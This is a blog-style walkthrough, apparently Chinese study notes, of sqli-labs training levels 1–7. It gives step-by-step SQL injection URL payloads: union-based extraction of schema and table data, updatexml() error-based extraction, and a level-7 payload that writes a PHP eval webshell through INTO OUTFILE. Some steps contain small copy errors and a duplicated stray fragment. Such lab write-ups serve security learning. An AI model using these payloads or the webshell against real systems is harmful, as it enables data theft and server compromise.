天天看点

sql-lab闯关sql-lab靶场闯关(1-7)知识点

sql-lab靶场闯关(1-7)知识点

1-4存在现在错位sql注入

第一关

sql-lab闯关sql-lab靶场闯关(1-7)知识点

首先需要查看源码明显发现sql语句这里有一个闭合,我们输入单引号与前面的单引号相闭合后面利用 – 或者 #去进行注释,利用常规的注入去做题

  • 判断是否存在注入:?id=1’and 1=1 – 随意输入标志着后面都被注释掉
  • 判断字段数:?id=1’order by 1 – 随意输入标志着后面都被注释掉
  • 判断显示错:?id=999‘union select 1,2,3 – 随意输入标志着后面都被注释掉
  • 判断库名:?id=999’ union select 1,database(),3 – 随意输入标志着后面都被注释掉
  • 判断表名:?id=10’union select 1,table_name,3 from

    information_schema.tables where table_schema=‘security’ – 随意输入标志着后面都被注释掉

  • 判断列名:?id=999’union select 1,column_name,3 from information_schema.columns where table_schema='security’and table_name=‘emails’ --随意输入标志着后面都被注释掉
  • 判断数据:?id=999’union select 1,id,3 from emails --随意输入标志着后面都被注释掉

第二关

和第一关解法相似

第三关

sql-lab闯关sql-lab靶场闯关(1-7)知识点

第三关查看源码可知我们的传参外有括号和单引号,利用第一关的思路前面手动添加括号和单引号闭合,后面利用 – 注释

  • 判断是否存在注入:?id=1’)and 1=1 – 随意输入标志着后面都被注释掉
  • 判断字段数:?id=1’)order by 1 – 随意输入标志着后面都被注释掉
  • 判断显示错:?id=999‘)union select 1,2,3 – 随意输入标志着后面都被注释掉
  • 判断库名:?id=999’)union select 1,database(),3 – 随意输入标志着后面都被注释掉
  • 判断表名:?id=999’)union select 1,table_name,3 from

    information_schema.tables where table_schema=‘security’ – 随意输入标志着后面都被注释掉

  • 判断列名:?id=999’)union select 1,column_name,3 from information_schema.columns where table_schema='security’and table_name=‘emails’ --随意输入标志着后面都被注释掉
  • 判断数据:?id=999’)union select 1,id,3 from emails --随意输入标志着后面都被注释掉

4-7get盲注–error注入或者写码注入

第四关

sql-lab闯关sql-lab靶场闯关(1-7)知识点

第四关的思路和前面同理,源码给id值拼接了两个双引号,按照上面的思路绕过即可

判断是否存在注入:?id=1“) and 1=1 – qwe

判断字段数:?id=1”)order by 3-- qwe

判断显错位 :?id=999”)union select 1,2,3 – qwe

判断库名:?id=999”)union select 1,2,3 – qwe

判断表名:?id=999”)union select 1,table_name,3 from

information_schema.tables where table_schema=‘security’ – qwe

判断列名:?id=999”)union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ – qwe

判断数据:?id=999”)union select 1,id,3 from emails-- qwe

第五关

sql-lab闯关sql-lab靶场闯关(1-7)知识点

首先按照以往的思路,寻找字段数以及显错位,我们发现这个地方没有显错位,这个时候自然而然地就想到了盲注,这题确实是可以通过盲注去做,但是查看源码的我们发现这个地方也输出数据库的报错,这个时候我们可以尝试去使用updatdexml报错注入(其实好多盲注的地方同学都可以试试报错,因为有的时候报错盲注的致命错误显示出来,数据库只忽略普通报错)

updatexml()更新xml文档的函数

语法:updatexml (目标xml内容,xml文档路径,更新的内容)

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新XML文档,,但是我们在XML文档路径的位置里面输入来子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

但是报错的时候他其实已经执行了子查询代码

[0x7e 实际上是十六进制,MySQL支持16进制 ,但是开头得写的 0x 0x7e是一个特殊符号,然后不符合路径规则错]

0x7e=~

updatexml()这个函数一般是配合and或者or使用的,他和联合查询不同,不需要在意什么字段数

语法:

select * from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

但是要注意,and情况下只要有一个false,就会判定是false,所以如果and前面的条件不成立的情况下,就会执行后的语句。所以使用的时候建议使用or、

某些没有回显的盲注也可以使用这个updatexml()做出来。但是怕错一般长度限制,不能输出太长的数据,尽量不要使用group_concat().

步骤:

  • 判断是否存在注入:?id=1’ and 1=1 – qwe
  • 判断库名:?id=1 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe
  • 判断表名:?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security’limit 0,1),0x7e),1)-- qwe
  • 判断列名:?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- qwe
  • 判断数据:?id=1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

第六关

这一关和上面做法相同,只是闭合的区间

sql-lab闯关sql-lab靶场闯关(1-7)知识点
  • 判断是否存在注入:?id=1” and 1=1 – qwe
  • 判断库名:?id=1" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe
  • 判断表名:?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security’limit 0,1),0x7e),1)-- qwe
  • 判断列名:?id=1 "and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- qwe
  • 判断数据:?id=1 "and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

第七关(写码)

这一关的做法跟前面都不一样,首先看到它提示我们使用outfile向服务器写入文件,哪咱们就可以直接去试试

利用sql注入漏洞后期,最常使用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:

  • into dump file()
  • into outfile()
  • load_file()

语法:

union select 1,’<?php eval($_REQUEST[])>‘into outfile ’ 文件path’

这些都需要设置secure_file_priv=,如果他为空则可以指定任意目录,如果有设置等于某个路径只能在这个路径下,而他为null时则禁止导入导出功能。

步骤:

  • 判断字段数:?id=1’)) order by 3 – qwe
  • 写码:?id=1’))union select 1,“<?php eval($_REQUEST[1])?>”,3 into outfile " D:/phpStudy1/sqli-labs-master/Less-7/shell.php"-- qwe

) order by 3 – qwe

  • 写码:?id=1’))union select 1,“<?php eval($_REQUEST[1])?>”,3 into outfile " D:/phpStudy1/sqli-labs-master/Less-7/shell.php"-- qwe
sql-lab闯关sql-lab靶场闯关(1-7)知识点